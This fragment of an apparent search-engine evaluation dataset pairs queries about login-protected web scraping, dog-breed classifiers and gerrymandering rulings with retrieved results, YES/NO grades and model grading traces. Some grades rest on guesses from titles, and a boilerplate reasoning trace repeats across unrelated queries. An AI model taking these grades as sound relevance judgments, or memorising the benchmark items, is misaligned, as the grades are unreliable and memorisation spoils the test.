        "reasoning_trace": [
            "1. This query requires knowledge of JavaScript date picker UI elements, as well as constraints around weekday-only selection. It tests Exa's understanding of common web development challenges.\n\n2. This SQL query tests Exa's ability to parse complex database queries with multiple conditions. It requires understanding of common business intelligence use cases.\n\n3. This query tests Exa's web scraping capabilities, including handling authentication and extracting structured data from websites. It requires knowledge of Python web scraping libraries.\n\n4. This query tests Exa's ability to find relevant open source projects on GitHub that implement machine learning techniques. It requires understanding of common deep learning application areas.\n\n5. This query tests Exa's debugging capabilities by asking for help troubleshooting a specific technical issue in a React application. It requires knowledge of common React performance problems."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "GitHub - TeamHG-Memex/autologin: A project to attempt to automatically login to a website given a single seed",
                "url": "https://github.com/TeamHG-Memex/autologin",
                "published_date": "2017-05-24",
                "text": "Autologin: Automatic login for web spiders\n\nAutologin is a library that makes it easier for web spiders to\ncrawl websites that require login.\nProvide it with credentials and a URL or the html source of a page\n(normally the homepage), and it will attempt to login for you.\nCookies are returned to be used by your spider.\nThe goal of Autologin is to make it easier for web spiders to crawl websites\nthat require authentication\nwithout having to re-write login code for each website. \nAutologin can be used as a library, on the command line, or as a service.\nYou can make use of Autologin without generating http requests,\nso you can drop it right into your spider without worrying about\nimpacting rate limits.\nIf you are using Scrapy for crawling, check out\nautologin-middleware,\nwhich is a scrapy middleware that uses autologin http-api to maintain\na logged-in state for a scrapy spider.\nAutologin works on Python 2.7 and 3.3+.\n\nNote\nThe library is in the alpha stage.\nAPI can still change, especially around the keychain UI.\n\nContents\n\nFeatures \n Quickstart \n Installation \n Auth cookies from URL \n Login request \n Command Line \n HTTP API \n Proxy support \n Captcha support \n Keychain UI \n Contributors \n License\n\nFeatures\n\nAutomatically find login forms and fields\nObtain authenticated cookies\nObtain form requests to submit from your own spider\nExtract links to login pages\nUse as a library with or without making http requests\nCommand line client\nWeb service\nUI for managing login credentials\nCaptcha support\n\nQuickstart \nDon't like reading documentation?\nfrom autologin import AutoLogin\nurl = 'https://reddit.com'\nusername = 'foo'\npassword = 'bar'\nal = AutoLogin()\ncookies = al.auth_cookies_from_url(url, username, password)\n\nYou now have a cookiejar\nthat you can use in your spider. Don't want a cookiejar?\ncookies.__dict__\n\nYou now have a dictionary.\n\nInstallation \nInstall the latest release from PyPI:\n$ pip install -U autologin\n\nor the version with the latest changes from Github:\n$ pip install git+https://github.com/TeamHG-Memex/autologin",
                "model_trace": "Query Decomposition:\n1. {python library}: The document is about a Python library -> ([1], SATISFIED)\n2. {to scrape data from a table on a website}: The document does not explicitly mention scraping data from a table -> ([0], UNSURE)\n3. {that requires login}: The document describes a library that handles automatic login for websites that require authentication -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {python library} and {that requires login}. Both of these subcomponents are satisfied by the document. While the document does not explicitly mention scraping data from a table, it provides tools for handling login, which is a crucial part of the user's query. YES."
            },
            {
                "grade": "YES",
                "title": "GitHub - kazuar/login_scraper_example",
                "url": "https://github.com/kazuar/login_scraper_example",
                "published_date": "2015-07-28",
                "text": "Skip to content\n Toggle navigation\n Sign up\n * Product\n + Actions\n Automate any workflow\n + Packages\n Host and manage packages\n + Security\n Find and fix vulnerabilities\n + Codespaces\n Instant dev environments\n + Copilot\n Write better code with AI\n + Code review\n Manage code changes\n + Issues\n Plan and track work\n + Discussions\n Collaborate outside of code\n + Explore\n + All features\n + Documentation\n + GitHub Skills\n + Blog\n * Solutions\n + For\n + Enterprise\n + Teams\n + Startups\n + Education\n + By Solution\n + CI/CD & Automation\n + DevOps\n + DevSecOps\n + Case Studies\n + Customer Stories\n + Resources\n * Open Source\n + GitHub Sponsors\n Fund open source developers\n + The ReadME Project\n GitHub community articles\n + Repositories\n + Topics\n + Trending\n + Collections\n * Pricing\n * In this repository All GitHub \u21b5\n Jump to \u21b5\n * No suggested jump to results\n * In this repository All GitHub \u21b5\n Jump to \u21b5\n * In this user All GitHub \u21b5\n Jump to \u21b5\n * In this repository All GitHub \u21b5\n Jump to \u21b5\n Sign in\n Sign up\n {{ message }}\n kazuar / login_scraper_example Public\n * Notifications\n * Fork 137\n * Star 212\n 212 stars 137 forks\n Star\n Notifications\n * Code\n * Issues 4\n * Pull requests 0\n * Actions\n * Projects 0\n * Wiki\n * Security\n * Insights\n More\n * Code\n * Issues\n * Pull requests\n * Actions\n * Projects\n * Wiki\n * Security\n * Insights\n\nkazuar/login_scraper_example\n\nThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.\n master\n Switch branches/tags\n Branches Tags\n Could not load branches\n Nothing to show\n {{ refName }} default\n View all branches\n Could not load tags\n Nothing to show\n {{ refName }} default\n View all tags\n\nName already in use\n\nA tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?\n Cancel Create\n 1 branch 0 tags\n Code\n * Local\n * Codespaces\n * Clone\n HTTPS GitHub CLI\n\nUse Git or checkout with SVN using the web URL",
                "model_trace": "Query Decomposition:\n1. {python library}: The repository is a GitHub project, which typically involves code, likely in Python -> ([1], SATISFIED)\n2. {scrape data from a table on a website}: The repository name \"login_scraper_example\" suggests it involves scraping data from a website -> ([2], SATISFIED)\n3. {requires login}: The repository name \"login_scraper_example\" also suggests it involves handling login, which is a key part of the query -> ([2], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents relevant to the query. YES"
            },
            {
                "grade": "YES",
                "title": "autologin",
                "url": "https://pypi.org/project/autologin/",
                "published_date": "2017-05-24",
                "text": "Autologin is a library that makes it easier for web spiders to\ncrawl websites that require login.\nProvide it with credentials and a URL or the html source of a page\n(normally the homepage), and it will attempt to login for you.\nCookies are returned to be used by your spider.\nThe goal of Autologin is to make it easier for web spiders to crawl websites\nthat require authentication\nwithout having to re-write login code for each website. \nAutologin can be used as a library, on the command line, or as a service.\nYou can make use of Autologin without generating http requests,\nso you can drop it right into your spider without worrying about\nimpacting rate limits.\nIf you are using Scrapy for crawling, check out\nautologin-middleware,\nwhich is a scrapy middleware that uses autologin http-api to maintain\na logged-in state for a scrapy spider.\nAutologin works on Python 2.7 and 3.3+.\n\nContents\n\nFeatures \n Quickstart \n Installation \n Auth cookies from URL \n Login request \n Command Line \n HTTP API \n Proxy support \n Captcha support \n Keychain UI \n Contributors \n License\n\nFeatures\n\nAutomatically find login forms and fields \n Obtain authenticated cookies \n Obtain form requests to submit from your own spider \n Extract links to login pages \n Use as a library with or without making http requests \n Command line client \n Web service \n UI for managing login credentials \n Captcha support\n\nQuickstart \nDon\u2019t like reading documentation?\nfrom autologin import AutoLogin\nurl = 'https://reddit.com'\nusername = 'foo'\npassword = 'bar'\nal = AutoLogin()\ncookies = al.auth_cookies_from_url(url, username, password)\nYou now have a cookiejar\nthat you can use in your spider. Don\u2019t want a cookiejar?\ncookies.__dict__\nYou now have a dictionary.\n\nInstallation \nInstall the latest release from PyPI:\n$ pip install -U autologin\nor the version with the latest changes from Github:\n$ pip install git+https://github.com/TeamHG-Memex/autologin.git\nAutologin depends on\nFormasaurus\nfor field and form classification, which has quite a lot of dependencies.\nThese packages ma",
                "model_trace": "Query Decomposition:\n1. {python library}: The document describes a Python library called Autologin -> ([1], SATISFIED)\n2. {scrape data from a table on a website}: The document does not specifically mention scraping data from a table -> ([0], UNSURE)\n3. {requires login}: The document explicitly states that Autologin is designed to handle logins for websites that require authentication -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {python library} and {requires login}. Both of these subcomponents are satisfied by the document. The document does not need to specifically mention scraping data from a table, as the user's primary concern appears to be handling login functionality, which this library addresses.\n\nYES"
            },
            {
                "grade": "NO",
                "title": "How to scrape a website which requires login using python ...",
                "url": "https://stackoverflow.com/questions/23102833/how-to-scrape-a-website-which-requires-login-using-python-and-beautifulsoup",
                "published_date": null,
                "text": "Since Python version wasn't specified, here is my take on it for Python 3, done without any external libraries (StackOverflow). After login use BeautifulSoup as usual, or any other kind of scraping.\nLikewise, script on my GitHub here \nWhole script replicated below as to StackOverflow guidelines:\n # Login to website using just Python 3 Standard Library\nimport urllib.parse\nimport urllib.request\nimport http.cookiejar\ndef scraper_login():\n ####### change variables here, like URL, action URL, user, pass\n # your base URL here, will be used for headers and such, with and without https://\n base_url = 'www.example.com'\n https_base_url = 'https://' + base_url\n # here goes URL that's found inside form action='.....'\n # adjust as needed, can be all kinds of weird stuff\n authentication_url = https_base_url + '/login'\n # username and password for login\n username = 'yourusername'\n password = 'SoMePassw0rd!'\n # we will use this string to confirm a login at end\n check_string = 'Logout'\n ####### rest of the script is logic\n # but you will need to tweak couple things maybe regarding \"token\" logic\n # (can be _token or token or _token_ or secret ... etc)\n # big thing! you need a referer for most pages! and correct headers are the key\n headers={\"Content-Type\":\"application/x-www-form-urlencoded\",\n \"User-agent\":\"Mozilla/5.0 Chrome/81.0.4044.92\", # Chrome 80+ as per web search\n \"Host\":base_url,\n \"Origin\":https_base_url,\n \"Referer\":https_base_url}\n # initiate the cookie jar (using : http.cookiejar and urllib.request)\n cookie_jar = http.cookiejar.CookieJar()\n opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cookie_jar))\n urllib.request.install_opener(opener)\n # first a simple request, just to get login page and parse out the token\n # (using : urllib.request)\n request = urllib.request.Request(https_base_url)\n response = urllib.request.urlopen(request)\n contents = response.read()\n # parse the page, we look for token eg. on my page it was something like this:\n # <input type=\"hidden\" name=\"_token\" value=\"random1234567",
                "model_trace": "Query Decomposition:\n1. {python library}: The document does not mention any specific Python library for scraping -> ([1], UNSATISFIED)\n2. {scrape data from a table on a website}: The document discusses scraping a website in general but does not specifically mention scraping data from a table -> ([2], UNSURE)\n3. {requires login}: The document provides a detailed method for logging into a website using Python -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {python library} and {requires login}. Since {python library} is not satisfied, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "YES",
                "title": "How to Scrape a Website that Requires a Login with Python",
                "url": "https://www.zenrows.com/blog/web-scraping-login-python",
                "published_date": null,
                "text": "While web scraping, you might find some data available only after you've signed in. In this tutorial, we'll learn the security measures used and three effective methods to scrape a website that requires a login with Python. Let's find a solution! Can You Scrape Websites that Require a Login?  Yes, it's technically possible to do web scraping behind a login. But you have to be mindful of the scraping rules of the target sites as well as laws like GDPR for compliance with personal data and privacy matters. To get started, it's essential to have some general knowledge about HTTP Request Methods. And if web scraping is new for you, we recommend reading our guide on web scraping with Python to master the fundamentals. How Do You Log into a Website with Python?   The first step to scraping a website that requires a login with Python is figuring out what login type your target domain uses. Some old websites just require sending a username and password. However, modern websites use more advanced security measures. They include:   Client-side validations. CSRF tokens. Web Application Firewalls (WAFs).   Keep reading to learn techniques to get around these strict security protections. How Do You Scrape a Website behind a Login in Python? We'll see the step by step of scraping data behind site logins with Python. We'll start with forms requiring only a username and password and then increase the difficulty progressively. Just beware the methods showcased in this tutorial are for educational purposes only. Three, two, one\u2026 let's code! Sites Requiring a Simple Username and Password Login We assume that you've already set up Python 3 and Pip, otherwise you should check a guide on properly installing Python. As dependencies, we'll use the Requests and BeautifulSoup libraries. Start by installing them:   pip install requests beautifulsoup4     Tip: If you have any trouble during the installation, visit this page for Requests and this one for Beautiful Soup.  Now, go to Acunetix's User Information. This is a test page made specif",
                "model_trace": "Query Decomposition:\n1. [python library]: The document mentions using Python libraries for web scraping -> ([1], SATISFIED)\n2. [to scrape data from a table on a website]: The document provides a tutorial on web scraping, which is relevant to scraping data from a website -> ([1], SATISFIED)\n3. [that requires login]: The document specifically addresses scraping websites that require a login -> ([1], SATISFIED)\n\nAssessment: The document clearly covers the use of Python libraries to scrape data from websites that require login, satisfying all relevant subcomponents. YES"
            },
            {
                "grade": "YES",
                "title": "Scraping Data behind Site Logins with Python | by Eric Onofrey",
                "url": "https://eonofrey.medium.com/scraping-data-behind-site-logins-with-python-ee0676f523ee",
                "published_date": null,
                "text": "Using the Requests library to scrape data behind a website\u2019s login page    Screenshot of Requests Homepage  In the past, I\u2019ve been scraping data for a project and would be met with a site login that would block my access to the information I wanted. When this would happen, I would resort to using Selenium to enter in my credentials and click login which would add time and\u2026",
                "model_trace": "Query Decomposition:\n1. {python library}: The document mentions the Requests library and Selenium, both of which are Python libraries -> ([1], SATISFIED)\n2. {scrape data from a table on a website}: The document discusses scraping data from websites -> ([1], SATISFIED)\n3. {requires login}: The document specifically addresses scraping data from behind a site login -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents. YES."
            }
        ]
    },
    {
        "query": "github repo for an open source project that implements a neural network to classify dog breeds",
        "grid_pos": [
            0,
            5
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Github/StackOverflow/Code/Debugging Resource",
        "reasoning_trace": [
            "1. This query requires knowledge of JavaScript date picker UI elements, as well as constraints around weekday-only selection. It tests Exa's understanding of common web development challenges.\n\n2. This SQL query tests Exa's ability to parse complex database queries with multiple conditions. It requires understanding of common business intelligence use cases.\n\n3. This query tests Exa's web scraping capabilities, including handling authentication and extracting structured data from websites. It requires knowledge of Python web scraping libraries.\n\n4. This query tests Exa's ability to find relevant open source projects on GitHub that implement machine learning techniques. It requires understanding of common deep learning application areas.\n\n5. This query tests Exa's debugging capabilities by asking for help troubleshooting a specific technical issue in a React application. It requires knowledge of common React performance problems."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "GitHub - willjobs/dog-classifier: Implementation of a dog classifier using CNNs built using FastAI",
                "url": "https://github.com/willjobs/dog-classifier",
                "published_date": "2023-01-01",
                "text": "Dog classifier\n\ud83d\udea8 NOTE: This project was turned into a web app. See the GIF below.\n\nThis project uses transfer learning to build a CNN pre-trained on ImageNet, with ResNet-50 architecture, to classify dog breeds. The training dataset is the Stanford Dogs Dataset and images from the internet for AKC dog breeds not in the Stanford dogs dataset (see below). The fastai library (v2), which is a high-level library on top of PyTorch, was used for creating the model.\nEdit: An experiment using only images downloaded from the internet for all dog breeds showed better performance on the test set and on my own images of dogs I know. This new model is in Dogs_Classifier_Online.ipynb. This may be due to a difference between the Stanford dog images and typical photos, e.g., if there was any preprocessing done on the Stanford dog images that I am unaware of.\nA 10% test set (holdout set) was set aside and hidden from fastai. The validation set was 20% of the remaining data. Both the test set and validation set were chosen as stratified samples to maintain class balance in the datasets.\nZero-padding was used when resizing images to a common size in order to maintain the aspect ratio of the original image. The default fastai augmentation transforms (horizontal flip, random rotation up to 10 degrees, a random zoom between 1.0x and 1.1x, a perspective warping, and random change in brightness and contrast; see the fastai documentation) were used during training to improve the generalization performance of the model. Note that this augmentation strategy does not increase the number of images in each epoch; it just randomly alters each image in each batch, so that a given image will be viewed differently in each epoch.\nA learning rate was chosen using the lr_find feature in fastai, which starts with a very small learning rate, uses that for one mini-batch, calculates the losses, then increases the learning rate and repeats until the loss gets worse. Then the learning rate selected is the part of the loss vs. learning rate curve where the",
                "model_trace": "Query Decomposition:\n1. {GitHub repo}: The document is a GitHub repository -> ([1], SATISFIED)\n2. {open source project}: The document is a GitHub repository, which implies it is an open-source project -> ([2], SATISFIED)\n3. {implements a neural network}: The document mentions the use of a CNN (Convolutional Neural Network) -> ([1], SATISFIED)\n4. {classify dog breeds}: The document specifies that the project is a dog classifier using CNNs -> ([1], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. The document is a GitHub repository for an open-source project that implements a neural network to classify dog breeds. YES"
            },
            {
                "grade": "YES",
                "title": "GitHub - tiwarirot/Dog-Breed-Classifier",
                "url": "https://github.com/tiwarirot/Dog-Breed-Classifier",
                "published_date": "2023-01-01",
                "text": "Project Overview\nWelcome to the Convolutional Neural Networks (CNN) project in the AI Nanodegree! In this project, you will learn how to build a pipeline that can be used within a web or mobile app to process real-world, user-supplied images. Given an image of a dog, your algorithm will identify an estimate of the canine\u2019s breed. If supplied an image of a human, the code will identify the resembling dog breed.\n\nAlong with exploring state-of-the-art CNN models for classification and localization, you will make important design decisions about the user experience for your app. Our goal is that by completing this lab, you understand the challenges involved in piecing together a series of models designed to perform various tasks in a data processing pipeline. Each model has its strengths and weaknesses, and engineering a real-world application often involves solving many problems without a perfect answer. Your imperfect solution will nonetheless create a fun user experience!\nProject Instructions\nInstructions\n\nClone the repository and navigate to the downloaded folder.\n git clone https://github.com/udacity/deep-learning-v2-pytorch.git\n cd deep-learning-v2-pytorch/project-dog-classification\n\nNOTE: if you are using the Udacity workspace, you DO NOT need to re-download the datasets in steps 2 and 3 - they can be found in the /data folder as noted within the workspace Jupyter notebook.\n\nDownload the dog dataset. Unzip the folder and place it in the repo, at location path/to/dog-project/dogImages. The dogImages/ folder should contain 133 folders, each corresponding to a different dog breed.\n\nDownload the human dataset. Unzip the folder and place it in the repo, at location path/to/dog-project/lfw. If you are using a Windows machine, you are encouraged to use 7zip to extract the folder.\n\nMake sure you have already installed the necessary Python packages according to the README in the program repository.\n\nOpen a terminal window and navigate to the project folder. Open the notebook and follow the instructions.\n jupyter notebo",
                "model_trace": "Query Decomposition:\n1. {GitHub repo}: The document is a GitHub repository -> ([1], SATISFIED)\n2. {open source project}: GitHub repositories are typically open source, and there is no indication this one is not -> ([2], SATISFIED)\n3. {implements a neural network}: The document mentions using Convolutional Neural Networks (CNN) for the project -> ([1], SATISFIED)\n4. {classify dog breeds}: The document explicitly states that the project identifies dog breeds from images -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents. YES"
            },
            {
                "grade": "YES",
                "title": "GitHub - mostafax/Dog-Breed-Identification: CNN model Based on Resnet50 Pretrained model that classifies 133 different type of dogs",
                "url": "https://github.com/mostafax/Dog-Breed-Identification",
                "published_date": "2023-01-01",
                "text": "Project Overview\nWelcome to the Convolutional Neural Networks (CNN) project in the AI Nanodegree! In this project, you will learn how to build a pipeline that can be used within a web or mobile app to process real-world, user-supplied images. Given an image of a dog, your algorithm will identify an estimate of the canine\u2019s breed. If supplied an image of a human, the code will identify the resembling dog breed.\n\nAlong with exploring state-of-the-art CNN models for classification, you will make important design decisions about the user experience for your app. Our goal is that by completing this lab, you understand the challenges involved in piecing together a series of models designed to perform various tasks in a data processing pipeline. Each model has its strengths and weaknesses, and engineering a real-world application often involves solving many problems without a perfect answer. Your imperfect solution will nonetheless create a fun user experience!\nProject Instructions\nInstructions\n\nClone the repository and navigate to the downloaded folder.\n\ngit clone https://github.com/udacity/dog-project.git\ncd dog-project\n\nDownload the dog dataset. Unzip the folder and place it in the repo, at location path/to/dog-project/dogImages.\n\nDownload the human dataset. Unzip the folder and place it in the repo, at location path/to/dog-project/lfw. If you are using a Windows machine, you are encouraged to use 7zip to extract the folder.\n\nDownload the VGG-16 bottleneck features for the dog dataset. Place it in the repo, at location path/to/dog-project/bottleneck_features.\n\n(Optional) If you plan to install TensorFlow with GPU support on your local machine, follow the guide to install the necessary NVIDIA software on your system. If you are using an EC2 GPU instance, you can skip this step.\n\n(Optional) If you are running the project on your local machine (and not using AWS), create (and activate) a new environment.\n\nLinux (to install with GPU support, change requirements/dog-linux.yml to requirements/dog-linux-gpu.yml):\n\nconda env",
                "model_trace": "Query Decomposition:\n1. {GitHub repo}: This document is a GitHub repository -> ([1], SATISFIED)\n2. {open source project}: GitHub repositories are typically open source, and no indication otherwise is provided -> ([2], SATISFIED)\n3. {implements a neural network}: The document mentions a CNN model based on Resnet50, which is a type of neural network -> ([1], SATISFIED)\n4. {classify dog breeds}: The document states that the project classifies 133 different types of dogs -> ([1], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. YES"
            },
            {
                "grade": "YES",
                "title": "A convolutional neural network trained to classify dog breeds.",
                "url": "https://github.com/Supearnesh/ml-dog-cnn",
                "published_date": null,
                "text": "Classification of Dog Breeds using a Convolutional Neural Network\nTable Of Contents\n Introduction \n Setup Instructions\n Log in to the AWS console and create a notebook instance \n Use git to clone the repository into the notebook instance \n Machine Learning Pipeline\n Step 1 - Importing the datasets \n Step 2 - Binary classification\n Part A - Detecting humans \n Part B - Detecting dogs \n Step 3 - Convolutional Neural Networks (CNNs)\n Part A - Classifying dog breeds from scratch \n Part B - Classifying dog breeds using transfer learning \n Step 4 - Pipeline implementation for images provided as input \n Step 5 - Model performance testing \n Important - Deleting the notebook \nIntroduction\nOver the course of the last 30,000 years, humans have domesticated dogs and turned them into truly wonderful companions. Dogs are very diverse animals, showing considerable variation between different breeds. On an evening walk through a given neighborhood, one may encounter several dogs that bear no semblance to each other. Other breeds of dogs are so similar that it is difficult for the untrained eye to tell them apart. Included below are a few different images, see if it would be possible for the average person to determine the breed of these dogs.\n   \nIt is not easy to distinguish between the Brittany (left) and the Welsh Springer Spaniel (right) due to similarities in the patterned fur around their eyes\n   \nAnother pair of dogs, the Curly-coated Retriever (left) and the American Water Spaniel (right), that are difficult to tell apart from the texture of their coats\nIt may take many weeks or months for a person to learn enough about the physical attributes and unique features of different dog breeds to effectively identify them with a high degree of confidence. It would be interesting to see if a machine learning model can be trained to accomplish the same task in a matter of a few hours. The goal of this project is to use a Convolutional Neural Network (CNN) to train a dog breed classifier across 133 breeds of dogs, using the  dogIma",
                "model_trace": "Query Decomposition:\n1. {github repo}: The document is a GitHub repository -> ([1], SATISFIED)\n2. {open source project}: GitHub repositories are typically open source unless stated otherwise, and there is no indication that this repository is not open source -> ([2], SATISFIED)\n3. {implements a neural network}: The document mentions the use of Convolutional Neural Networks (CNNs) -> ([1], SATISFIED)\n4. {to classify dog breeds}: The document explicitly states that the project is about classifying dog breeds -> ([1], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. YES"
            },
            {
                "grade": "YES",
                "title": "modenaxe/dog-breed-classifier",
                "url": "https://github.com/modenaxe/dog-breed-classifier",
                "published_date": null,
                "text": "Overview      \nThis project uses convolutional neural networks (CNNs) in Pytorch to classify images of humans and dogs.\nHumans are recognized using a face detector and dogs using a network pretrained on the ImageNet dataset.\nFinally the dogs are classified based on their breed and an output is return to the user.\nHumans can be classified as well, in case you want to know to which dog breed you look more similar!\n  Project submission    \nThis is a project for my deep-learning nanodegree at Udacity.\nThe submission files are here.\n  The Project    \nThis project has multiple steps:\nLoad the dataset of human faces and dog breeds\nDetect human faces in images\nDetect dogs in images\nDesign and implement a CNN to classify dog breeds in PyTorch \nCreate a CNN to classify dog breeds using transfer learning from an existing model \nWrite an algorithm to read an image and apply the previous points\nTest the algorithm on new images\n  Step1: Datasets    \nThe two datasets have the following characteristics:\nThe human dataset includes 13233 images of various size. Most pictures are faces of personalities available online.\nThe dog datasetincludes 8351 images of various size of dogs organised in 133 breeds. Some of the images include humans (their faces or body parts).\n  Step2: Face Detection    \nHuman faces are detected using a Haar feature-detection cascade classifier available from the OpenCV library.\nFaces were sought in both datasets to assess the quality of the detection as the classifier is known to have issues recognising faces in certain conditions, e.g. in non-frontal face pictures.\n  Step3: Detect Dogs    \nA VGG-16 network pretrained on the ImageNet dataset is used for the dog detection task.\nThe ImageNet dataset includes dog breeds between its 1000 classes, but they are only 188 (class nr:151 to 268).\nAs in Step2, the detector is applied to both the human and dog datasets to assess its performance.\nThe same step was performed comparing these network architectures, available from torchvision:\n Inception-v3 \n ResNet \n DenseNe",
                "model_trace": "Query Decomposition:\n1. {GitHub repo}: The document is a GitHub repository -> ([1], SATISFIED)\n2. {open source project}: The document is a public GitHub repository, which implies it is open source -> ([1], SATISFIED)\n3. {implements a neural network}: The document mentions the use of convolutional neural networks (CNNs) in PyTorch -> ([1], SATISFIED)\n4. {classify dog breeds}: The document specifically states that it classifies dog breeds -> ([1], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. YES"
            },
            {
                "grade": "YES",
                "title": "dog-breed-classification",
                "url": "https://github.com/topics/dog-breed-classification",
                "published_date": null,
                "text": "Here are\n    13 public repositories\n    matching this topic...\n  \n  \n  \n  \n  \n  \n      \n  \n    \n             Code\n    \n \n      \n  \n    \n             Issues\n    \n \n      \n  \n    \n             Pull requests\n    \n \n  \n  \n      In this project i have downloaded the data from kaggle to train and test the breed of the dogs, ferther details has been given in the code JUPYTER NOTEBOOK\n      \n    \n      \n          \n            Updated\n            \n          \n          \n            \n   \n  Jupyter Notebook\n          \n      \n    \n  \n  \n  \n  \n  \n  \n      \n  \n    \n             Code\n    \n \n      \n  \n    \n             Issues\n    \n \n      \n  \n    \n             Pull requests\n    \n \n  \n  \n      Dog Vision: A web app that uses deep learning to identify dog breeds from uploaded images. Predicts breed with confidence score and provides Google search link for more information. User-friendly tool for dog breed identification and exploration.\n      \n    \n      \n          \n            Updated\n            \n          \n          \n            \n   \n  Jupyter Notebook\n          \n      \n    \n  \n  \n  \n  \n  \n  \n      \n  \n    \n             Code\n    \n \n      \n  \n    \n             Issues\n    \n \n      \n  \n    \n             Pull requests\n    \n \n  \n  \n      Dog Breed Classification Project which classifies real world dog images and predicts their breed out of 133 breeds/classes. If supplied an image of a human face, the code will identify the resembling dog breed.\n      \n    \n      \n          \n            Updated\n            \n          \n          \n            \n   \n  HTML\n          \n      \n    \n  \n  \n  \n  \n  \n  \n      \n  \n    \n             Code\n    \n \n      \n  \n    \n             Issues\n    \n \n      \n  \n    \n             Pull requests\n    \n \n  \n  \n      Azure AI Custom Vision Workshop\n      \n    \n      \n          \n            Updated\n            \n          \n          \n            \n   \n  Python\n          \n      \n    \n  \n  \n  \n  \n  \n  \n      \n  \n    \n             Code\n    \n \n      \n  \n    \n             Issues\n    \n \n      \n  \n    \n             Pull requests",
                "model_trace": "Query Decomposition:\n1. {GitHub repo}: This document is a GitHub page listing repositories -> ([1], SATISFIED)\n2. {open source project}: GitHub repositories are typically open source -> ([1], SATISFIED)\n3. {implements a neural network}: The content mentions deep learning and classification, which implies the use of neural networks -> ([2], SATISFIED)\n4. {classify dog breeds}: The document explicitly mentions projects related to dog breed classification -> ([1], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. YES."
            }
        ]
    },
    {
        "query": "SCOTUS gerrymandering decision impact",
        "grid_pos": [
            0,
            6
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Twitter",
        "reasoning_trace": [
            "These queries are designed to test Exa's ability to understand and retrieve relevant information from Twitter about complex, cutting-edge topics in science, technology, law, and medicine. They require external knowledge to interpret abbreviations and jargon, and understanding of current events and ongoing debates in these fields. The queries are short and to the point, mimicking typical Google search behavior, while still being challenging and specific enough to test Exa's capabilities."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Supreme Court crushes plan to scramble partisan map-making",
                "url": "https://www.politico.com/news/2023/06/27/supreme-court-ruling-supercharges-state-fights-over-partisan-gerrymandering-00103933",
                "published_date": "2023-06-27",
                "text": "\u201cThe questions presented in this area are complex and context specific,\u201d Chief Justice John Roberts wrote in his opinion. | J. Scott Applewhite/AP Photo\n\nThe Supreme Court just turbo-charged the nationwide fight over gerrymandering.\nIt is a rejection of the so-called independent state legislature theory, with the Supreme Court leaving a role for state courts to wade into the increasingly common battles over partisan gerrymandering. State courts have been immensely influential over congressional control over the last half-decade.\nThe ruling ensures that state Supreme Courts will remain ultimate arbiters of partisan gerrymandering, and that they can rein in legislatures looking to use redistricting to eviscerate a minority party. Previously under the radar judicial contests will continue to see millions of dollars pour in to influence their outcomes.\n\n\u201cThere was this real movement into state courts after 2018,\u201d said Marina Jenkins, executive director of the National Democratic Redistricting Committee, referring to Democrats\u2019 success in challenging Pennsylvania\u2019s GOP-drawn map before a state court. \u201cIf anything, this is just ensuring that those fights can continue, and that a broader landscape of litigation can continue to be pursued.\u201d\nWisconsin Democrats are perhaps the most immediate winners of the decision. Liberals won a majority on their state Supreme Court for the first time in over a decade earlier this year. They are already plotting to use it to unravel what is perhaps the strongest GOP gerrymandering in the country. The independent state legislature theory threatened to upend those plans, so Democrats now have a clearer path to litigate those maps thanks to Tuesday\u2019s ruling.\nIt also has a major effect on a long-running fight in Ohio, where the state Supreme Court has repeatedly struck down GOP maps there as illegal gerrymanders. Ohio Republicans have asked the nation\u2019s top court to intervene on similar grounds, but the court has not yet acted on their plea. Tuesday\u2019s ruling means the fight will likely rema",
                "model_trace": "Query Decomposition:\n1. {SCOTUS gerrymandering decision}: This document discusses a recent Supreme Court ruling related to gerrymandering -> ([1], SATISFIED)\n2. {impact of the decision}: The document details the implications of the ruling, including the role of state courts and the immediate effects on states like Wisconsin and Ohio -> ([1], SATISFIED)\n\nAssessment: The document clearly addresses both the Supreme Court's decision on gerrymandering and its impact. YES."
            },
            {
                "grade": "YES",
                "title": "How the Supreme Court\u2019s ruling on voting rights could actually help Republicans",
                "url": "https://thehill.com/opinion/campaign/4049927-how-the-supreme-courts-ruling-on-voting-rights-could-actually-help-republicans/",
                "published_date": "2023-06-15",
                "text": "The Supreme Court upheld the Voting Rights Act in Alabama last week, calling for a second majority-minority congressional district. Given that more than one-quarter of Alabama\u2019s population is Black or African American, the court ruled that just one majority-minority district out of seven total districts did not provide adequate representation for them. \nThough the redrawn Alabama House map will likely lead to two Democratic representatives in Alabama in the next few election cycles, the impact on other states will likely cost Democrats seats in the future.\nHere\u2019s why.\nTo obtain a majority-minority district requires minority voters to be packed together in sufficient numbers to ensure they can choose their representation. Given that minority voters typically align themselves with Democratic candidates, these candidates overwhelmingly tend to win election in these districts. But by concentrating minority voters into a small number of districts, this prevents them from influencing outcomes in other districts.\nEffectively, adding more majority-minority districts to a state increases minority representation in one area while decreasing their representation in other areas.\nThe Voting Rights Act is a legal form of gerrymandering, by packing minority voters together. Historically, any pushbacks to end the Voting Rights Act have come from Republicans, since they gain the gerrymandering advantage that the act legally implements. Gerrymandering, which is the process by which political maps are drawn to give one party the upper hand at the ballot box, effectively weakens democracy by allowing elected officials to pick their voters, rather than voters electing their representatives.\nThe tools of gerrymandering are packing and cracking. Packing concentrates voters with similar political bents into a small number of districts, whereas cracking disburses voters with similar political bents into a large number of districts. Though districts packed with minority voters will easily win their representative of choice, they are denie",
